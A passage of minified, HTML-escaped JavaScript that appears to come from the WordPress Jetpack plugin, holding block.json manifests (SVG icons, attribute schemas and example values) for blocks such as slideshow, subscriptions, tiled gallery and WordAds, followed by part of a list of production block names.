/&gt;&lt;/svg&gt;&quot;,&quot;attributes&quot;:{&quot;styleType&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;icon-text&quot;,&quot;validValues&quot;:[&quot;icon-text&quot;,&quot;icon&quot;,&quot;text&quot;,&quot;official&quot;]},&quot;size&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;has-normal-icon-size&quot;,&quot;validValues&quot;:[&quot;has-small-icon-size&quot;,&quot;has-normal-icon-size&quot;,&quot;has-large-icon-size&quot;,&quot;has-huge-icon-size&quot;]},&quot;iconColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customIconColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;iconColorValue&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;iconBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customIconBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;iconBackgroundColorValue&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;providesContext&quot;:{&quot;styleType&quot;:&quot;styleType&quot;,&quot;iconColor&quot;:&quot;iconColor&quot;,&quot;iconColorValue&quot;:&quot;iconColorValue&quot;,&quot;iconBackgroundColor&quot;:&quot;iconBackgroundColor&quot;,&quot;iconBackgroundColorValue&quot;:&quot;iconBackgroundColorValue&quot;},&quot;supports&quot;:{&quot;align&quot;:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],&quot;anchor&quot;:true,&quot;__experimentalExposeControlsToChildren&quot;:true,&quot;layout&quot;:{&quot;allowSwitching&quot;:false,&quot;allowInheriting&quot;:false,&quot;allowVerticalAlignment&quot;:false,&quot;default&quot;:{&quot;type&quot;:&quot;flex&quot;}},&quot;color&quot;:{&quot;enableContrastChecker&quot;:true,&quot;background&quot;:true,&quot;gradients&quot;:true,&quot;customGradient&quot;:true,&quot;text&quot;:false,&quot;__experimentalDefaultControls&quot;:{&quot;background&quot;:false}},&quot;spacing&quot;:{&quot;blockGap&quot;:[&quot;horizontal&quot;,&quot;vertical&quot;],&quot;margin&quot;:true,&quot;padding&quot;:true,&quot;units&quot;:[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vh&quot;,&quot;vw&quot;],&quot;__experimentalDefaultControls&quot;:{&quot;blockGap&quot;:true,&quot;margin&quot;:true,&quot;padding&quot;:false}}},&quot;example&quot;:{&quot;innerBlocks&quot;:[{&quot;name&quot;:&quot;jetpack/sharing-button&quot;,&quot;attributes&quot;:{&quot;service&quot;:&quot;facebook&quot;}},{&quot;name&quot;:&quot;jetpack/sharing-button&quot;,&quot;attributes&quot;:{&quot;service&quot;:&quot;x&quot;}},{&quot;name&quot;:&quot;jetpack/sharing-button&quot;,&quot;attributes&quot;:{&quot;service&quot;:&quot;mastodon&quot;}}]},&quot;viewScript&quot;:&quot;file:./view.js&quot;,&quot;style&quot;:&quot;file:./view.css&quot;}&#039;)},87762(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/slideshow&quot;,&quot;title&quot;:&quot;Slideshow&quot;,&quot;description&quot;:&quot;Display multiple images in sequential order.&quot;,&quot;keywords&quot;:[&quot;story&quot;,&quot;image&quot;,&quot;video&quot;,&quot;gallery&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;media&quot;,&quot;icon&quot;:&quot;&lt;svg  viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m19,21.5H6v-1h13c.83,0,1.5-.67,1.5-1.5v-11h1v11c0,1.38-1.12,2.5-2.5,2.5Z\&#039;/&gt;&lt;path d=\&#039;m16.38,3.25H4.62c-.75,0-1.37.62-1.37,1.37v11.76c0,.75.62,1.37,1.37,1.37h11.76c.75,0,1.37-.62,1.37-1.37V4.62c0-.75-.62-1.37-1.37-1.37Zm.37,13.13c0,.2-.17.37-.37.37H4.62c-.2,0-.37-.17-.37-.37V4.62c0-.2.17-.37.37-.37h11.76c.2,0,.37.17.37.37v11.76Z\&#039;/&gt;&lt;path d=\&#039;M9.39 7.51 12.73 11.04 9.31 14.32 8.61 13.6 11.34 10.99 8.67 8.2 9.39 7.51z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;align&quot;:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;]},&quot;attributes&quot;:{&quot;align&quot;:{&quot;default&quot;:&quot;center&quot;,&quot;type&quot;:&quot;string&quot;},&quot;autoplay&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;delay&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:3},&quot;ids&quot;:{&quot;default&quot;:[],&quot;type&quot;:&quot;array&quot;},&quot;images&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[],&quot;source&quot;:&quot;query&quot;,&quot;selector&quot;:&quot;.swiper-slide&quot;,&quot;query&quot;:{&quot;alt&quot;:{&quot;source&quot;:&quot;attribute&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;attribute&quot;:&quot;alt&quot;,&quot;default&quot;:&quot;&quot;},&quot;caption&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;source&quot;:&quot;html&quot;,&quot;selector&quot;:&quot;figcaption&quot;},&quot;id&quot;:{&quot;source&quot;:&quot;attribute&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;attribute&quot;:&quot;data-id&quot;},&quot;url&quot;:{&quot;source&quot;:&quot;attribute&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;attribute&quot;:&quot;src&quot;},&quot;aspectRatio&quot;:{&quot;source&quot;:&quot;attribute&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;attribute&quot;:&quot;data-aspect-ratio&quot;}}},&quot;effect&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;slide&quot;},&quot;sizeSlug&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;example&quot;:{&quot;align&quot;:&quot;center&quot;,&quot;autoplay&quot;:true,&quot;ids&quot;:[22,23,24],&quot;images&quot;:[{&quot;alt&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;id&quot;:22,&quot;url&quot;:&quot;./slideshowExample1.png&quot;},{&quot;alt&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;id&quot;:23,&quot;url&quot;:&quot;./slideshowExample2.png&quot;},{&quot;alt&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;id&quot;:24,&quot;url&quot;:&quot;./slideshowExample3.png&quot;}],&quot;effect&quot;:&quot;slide&quot;}}&#039;)},68331(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/story&quot;,&quot;title&quot;:&quot;Story&quot;,&quot;description&quot;:&quot;Add an interactive story.&quot;,&quot;keywords&quot;:[&quot;story&quot;,&quot;image&quot;,&quot;video&quot;,&quot;gallery&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;media&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;g&gt;&lt;path d=\&#039;M17 5a2 2 0 0 1 2 2v13a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2h9z\&#039; /&gt;&lt;path d=\&#039;M13 4H5a2 2 0 0 1 2-2h6a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2z\&#039; /&gt;&lt;path d=\&#039;M7 16h8a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2z\&#039; /&gt;&lt;/g&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false},&quot;attributes&quot;:{&quot;settings&quot;:{&quot;type&quot;:&quot;object&quot;},&quot;mediaFiles&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;mediaFiles&quot;:[{&quot;alt&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;mime&quot;:&quot;image/jpg&quot;,&quot;type&quot;:&quot;image&quot;,&quot;id&quot;:22,&quot;url&quot;:&quot;./storyExample1.png&quot;}]}}}&#039;)},11380(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/subscriber-login&quot;,&quot;title&quot;:&quot;Subscriber Login&quot;,&quot;description&quot;:&quot;Show links for subscribers to login, logout, or manage their subscription.&quot;,&quot;keywords&quot;:[&quot;login&quot;,&quot;logout&quot;,&quot;subscription&quot;,&quot;member&quot;,&quot;account&quot;,&quot;user&quot;],&quot;version&quot;:&quot;0.0.1&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg width=\&#039;24\&#039; height=\&#039;24\&#039; viewBox=\&#039;0 0 24 24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z\&#039; fill-rule=\&#039;evenodd\&#039; clip-rule=\&#039;evenodd\&#039;&gt;&lt;/path&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;anchor&quot;:false,&quot;customClassName&quot;:true,&quot;className&quot;:true,&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:true,&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;typography&quot;:{&quot;fontSize&quot;:true,&quot;lineHeight&quot;:true},&quot;color&quot;:{&quot;text&quot;:false,&quot;link&quot;:true,&quot;gradients&quot;:true}},&quot;attributes&quot;:{&quot;redirectToCurrent&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;logInLabel&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;logOutLabel&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;showManageSubscriptionsLink&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;manageSubscriptionsLabel&quot;:{&quot;type&quot;:&quot;string&quot;}}}&#039;)},99876(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/subscriptions&quot;,&quot;title&quot;:&quot;Subscribe&quot;,&quot;description&quot;:&quot;Subscribe to this blog\&#039;s posts as a newsletter.&quot;,&quot;keywords&quot;:[&quot;newsletter&quot;,&quot;email&quot;,&quot;follow&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m19.02,5H4.98c-1.09,0-1.98.89-1.98,1.98v10.04c0,1.09.89,1.98,1.98,1.98h14.04c1.09,0,1.98-.89,1.98-1.98V6.98c0-1.09-.89-1.98-1.98-1.98Zm.48,11.92c0,.32-.26.58-.58.58H5.08c-.32,0-.58-.26-.58-.58V7.08c0-.32.26-.58.58-.58h13.84c.32,0,.58.26.58.58v9.84Z\&#039;/&gt;&lt;path d=\&#039;m4.38,17.69l5.71-4.79s.96,1,1.91.99,1.91-.99,1.91-.99l5.59,4.79v-2.03l-4.41-3.73,4.41-3.72v-1.91l-7.14,5.76c-.24.19-.59.19-.83,0l-7.14-5.88v1.98l4.3,3.67-4.3,3.78v2.08Z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;]},&quot;styles&quot;:[{&quot;name&quot;:&quot;split&quot;,&quot;label&quot;:&quot;Split&quot;,&quot;isDefault&quot;:true},{&quot;name&quot;:&quot;compact&quot;,&quot;label&quot;:&quot;Compact&quot;},{&quot;name&quot;:&quot;button&quot;,&quot;label&quot;:&quot;Button only&quot;}],&quot;attributes&quot;:{&quot;subscribePlaceholder&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;showSubscribersTotal&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;includeSocialFollowers&quot;:{&quot;type&quot;:&quot;boolean&quot;},&quot;buttonOnNewLine&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;buttonWidth&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;submitButtonText&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;emailFieldBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customEmailFieldBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;emailFieldGradient&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customEmailFieldGradient&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;buttonBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customButtonBackgroundColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;buttonGradient&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customButtonGradient&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;textColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customTextColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;fontSize&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customFontSize&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;borderRadius&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;borderWeight&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;borderColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;customBorderColor&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;padding&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;spacing&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;successMessage&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;Success! An email was just sent to confirm your subscription. Please find the email now and click \&#039;Confirm\&#039; to start subscribing.&quot;},&quot;appSource&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;className&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;preselectNewsletterCategories&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;selectedNewsletterCategoryIds&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]}},&quot;example&quot;:{}}&#039;)},76585(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/tiled-gallery&quot;,&quot;title&quot;:&quot;Tiled Gallery&quot;,&quot;description&quot;:&quot;Display multiple images in an elegantly organized tiled layout.&quot;,&quot;keywords&quot;:[&quot;columns&quot;,&quot;images&quot;,&quot;photos&quot;,&quot;pictures&quot;,&quot;square&quot;,&quot;circle&quot;,&quot;mosaic&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;media&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M19 5v2h-4V5h4M9 5v6H5V5h4m10 8v6h-4v-6h4M9 17v2H5v-2h4M21 3h-8v6h8V3zM11 3H3v10h8V3zm10 8h-8v10h8V11zm-10 4H3v6h8v-6z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],&quot;color&quot;:{&quot;gradients&quot;:true,&quot;text&quot;:false},&quot;customClassName&quot;:false,&quot;html&quot;:false,&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;__experimentalHideChildBlockControls&quot;:true},&quot;providesContext&quot;:{&quot;imageCrop&quot;:&quot;imageCrop&quot;},&quot;styles&quot;:[{&quot;name&quot;:&quot;rectangular&quot;,&quot;label&quot;:&quot;Tiled mosaic&quot;,&quot;isDefault&quot;:true},{&quot;name&quot;:&quot;circle&quot;,&quot;label&quot;:&quot;Circles&quot;},{&quot;name&quot;:&quot;square&quot;,&quot;label&quot;:&quot;Square tiles&quot;},{&quot;name&quot;:&quot;columns&quot;,&quot;label&quot;:&quot;Tiled columns&quot;}],&quot;attributes&quot;:{&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;center&quot;},&quot;className&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;is-style-rectangular&quot;},&quot;columns&quot;:{&quot;type&quot;:&quot;number&quot;},&quot;columnWidths&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;ids&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;imageFilter&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;images&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[],&quot;source&quot;:&quot;query&quot;,&quot;selector&quot;:&quot;.tiled-gallery__item&quot;,&quot;query&quot;:{&quot;alt&quot;:{&quot;attribute&quot;:&quot;alt&quot;,&quot;default&quot;:&quot;&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;source&quot;:&quot;attribute&quot;},&quot;height&quot;:{&quot;attribute&quot;:&quot;data-height&quot;,&quot;type&quot;:&quot;number&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;source&quot;:&quot;attribute&quot;},&quot;id&quot;:{&quot;attribute&quot;:&quot;data-id&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;source&quot;:&quot;attribute&quot;},&quot;link&quot;:{&quot;attribute&quot;:&quot;data-link&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;source&quot;:&quot;attribute&quot;},&quot;customLink&quot;:{&quot;attribute&quot;:&quot;href&quot;,&quot;selector&quot;:&quot;a&quot;,&quot;source&quot;:&quot;attribute&quot;},&quot;url&quot;:{&quot;attribute&quot;:&quot;data-url&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;source&quot;:&quot;attribute&quot;},&quot;width&quot;:{&quot;attribute&quot;:&quot;data-width&quot;,&quot;selector&quot;:&quot;img&quot;,&quot;source&quot;:&quot;attribute&quot;,&quot;type&quot;:&quot;number&quot;}}},&quot;imageCrop&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;linkTo&quot;:{&quot;default&quot;:&quot;none&quot;,&quot;type&quot;:&quot;string&quot;},&quot;roundedCorners&quot;:{&quot;type&quot;:&quot;integer&quot;,&quot;default&quot;:0}}}&#039;)},86525(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/tock&quot;,&quot;title&quot;:&quot;Tock&quot;,&quot;description&quot;:&quot;Reserve a table at your restaurant with Tock.&quot;,&quot;keywords&quot;:[&quot;booking&quot;,&quot;reservation&quot;,&quot;restaurant&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M10 15.619C6.84915 15.619 4.28572 13.0542 4.28572 9.90176C4.28572 7.24269 6.10957 5.00183 8.57143 4.36551V0C3.72557 0.693782 0 4.86162 0 9.90176C0 15.4274 4.47715 19.9069 10 19.9069C12.2461 19.9069 14.3193 19.1658 15.9887 17.9148L12.9003 14.825C12.0494 15.3287 11.0581 15.619 10 15.619 M15.7135 9.90176C15.7135 10.9604 15.4233 11.9522 14.9199 12.8035L18.0082 15.8935C19.2585 14.2232 19.9992 12.149 19.9992 9.90176C19.9992 4.86162 16.2736 0.693782 11.4277 0V4.36551C13.8896 5.00183 15.7135 7.24269 15.7135 9.90176\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;html&quot;:false,&quot;multiple&quot;:false},&quot;attributes&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;url&quot;:&quot;roister&quot;},&quot;viewportWidth&quot;:250}}&#039;)},35075(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/top-posts&quot;,&quot;title&quot;:&quot;Top Posts &amp; Pages&quot;,&quot;description&quot;:&quot;Display your most popular content.&quot;,&quot;keywords&quot;:[&quot;ranking&quot;,&quot;views&quot;,&quot;trending&quot;,&quot;popular&quot;],&quot;version&quot;:&quot;1.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg xmlns=\&#039;http://www.w3.org/2000/svg\&#039; height=\&#039;24px\&#039; viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24px\&#039;&gt;&lt;rect fill=\&#039;none\&#039; height=\&#039;24\&#039; width=\&#039;24\&#039;/&gt;&lt;path d=\&#039;M19,5h-2V3H7v2H5C3.9,5,3,5.9,3,7v1c0,2.55,1.92,4.63,4.39,4.94c0.63,1.5,1.98,2.63,3.61,2.96V19H7v2h10v-2h-4v-3.1 c1.63-0.33,2.98-1.46,3.61-2.96C19.08,12.63,21,10.55,21,8V7C21,5.9,20.1,5,19,5z M5,8V7h2v3.82C5.84,10.4,5,9.3,5,8z M19,8 c0,1.3-0.84,2.4-2,2.82V7h2V8z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:true,&quot;color&quot;:{&quot;gradients&quot;:true,&quot;link&quot;:true},&quot;spacing&quot;:{&quot;margin&quot;:true,&quot;padding&quot;:true},&quot;typography&quot;:{&quot;__experimentalFontFamily&quot;:true,&quot;fontSize&quot;:true,&quot;lineHeight&quot;:true}},&quot;attributes&quot;:{&quot;layout&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;grid&quot;},&quot;displayAuthor&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;displayDate&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;displayThumbnail&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;displayContext&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;period&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;7&quot;},&quot;postsToShow&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:3},&quot;postTypes&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{&quot;post&quot;:true,&quot;page&quot;:true}}}}&#039;)},15210(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/voice-to-content&quot;,&quot;title&quot;:&quot;Voice to content&quot;,&quot;description&quot;:&quot;Transform your spoken words into a post ready to publish with AI.&quot;,&quot;keywords&quot;:[&quot;AI&quot;,&quot;GPT&quot;,&quot;AL&quot;,&quot;Magic&quot;,&quot;help&quot;,&quot;assistant&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;media&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 20 20\&#039; width=\&#039;20\&#039; height=\&#039;20\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M12 9V3c0-1.1-.89-2-2-2-1.12 0-2 .94-2 2v6c0 1.1.9 2 2 2 1.13 0 2-.94 2-2zm4 0c0 2.97-2.16 5.43-5 5.91V17h2c.56 0 1 .45 1 1s-.44 1-1 1H7c-.55 0-1-.45-1-1s.45-1 1-1h2v-2.09C6.17 14.43 4 11.97 4 9c0-.55.45-1 1-1 .56 0 1 .45 1 1 0 2.21 1.8 4 4 4 2.21 0 4-1.79 4-4 0-.55.45-1 1-1 .56 0 1 .45 1 1z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;html&quot;:false,&quot;multiple&quot;:true,&quot;reusable&quot;:false},&quot;attributes&quot;:{&quot;content&quot;:{&quot;type&quot;:&quot;string&quot;}}}&#039;)},16344(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/wordads&quot;,&quot;title&quot;:&quot;Ad&quot;,&quot;description&quot;:&quot;Earn income by adding high quality ads to your post.&quot;,&quot;keywords&quot;:[&quot;ads&quot;,&quot;WordAds&quot;,&quot;advertisement&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M12,8H4A2,2 0 0,0 2,10V14A2,2 0 0,0 4,16H5V20A1,1 0 0,0 6,21H8A1,1 0 0,0 9,20V16H12L17,20V4L12,8M15,15.6L13,14H4V10H13L15,8.4V15.6M21.5,12C21.5,13.71 20.54,15.26 19,16V8C20.53,8.75 21.5,10.3 21.5,12Z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],&quot;alignWide&quot;:false,&quot;className&quot;:false,&quot;customClassName&quot;:false,&quot;html&quot;:false,&quot;reusable&quot;:false},&quot;attributes&quot;:{&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;center&quot;},&quot;format&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;mrec&quot;},&quot;hideMobile&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false}},&quot;example&quot;:{}}&#039;)},73391(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;production&quot;:[&quot;ai-assistant&quot;,&quot;ai-chat&quot;,&quot;ai-assistant-plugin&quot;,&quot;blogging-prompt&quot;,&quot;business-hours&quot;,&quot;button&quot;,&quot;calendly&quot;,&quot;cookie-consent&quot;,&quot;contact-form&quot;,&quot;contact-form/salesforce-lead-form&quot;,&quot;contact-info&quot;,&quot;donations&quot;,&quot;eventbrite&quot;,&quot;field-file&quot;,&quot;gif&quot;,&quot;google-calendar&quot;,&quot;image-compare&quot;,&quot;instagram-gallery&quot;,&quot;like&quot;,&quot;likes&quot;,&quot;mailchimp&quot;,&quot;map&quot;,&quot;markdown&quot;,&quot;opentable&quot;,&quot;payments&quot;,&quot;pinterest&quot;,&quot;podcast-player&quot;,&quot;premium-content&quot;,&quot;rating-star&quot;,&quot;recurring-payments&quot;,&quot;related-posts&quot;,&quot;repeat-visitor&quot;,&quot;send-a-message&quot;,&quot;whatsapp-button&quot;,&quot;seo&quot;,&quot;sharing&quot;,&quot;shortlinks&quot;,&quot;simple-payments&quot;,&quot;slideshow&quot;,&quot;story&quot;,&quot;subscriber-login&quot;,&quot;subscriptions&quot;,&quot;tiled-gallery&quot;,&quot;tock&quot;,&quot;videopress&quot;,&quot;wordads&quot;,&quot;payments-intro&quot;,&quot;post-publish-qr-post-panel&quot;,&quot;payment-buttons&quot;,&quot;videopress/video&quot;,&quot;ai-assistant-support&quot;,&quot;ai-assistant-form-support&quot;,&quot;paywall&quot;,&quot;blogroll&quot;,&quot;blogroll-item&quot;,&quot;nextdoor&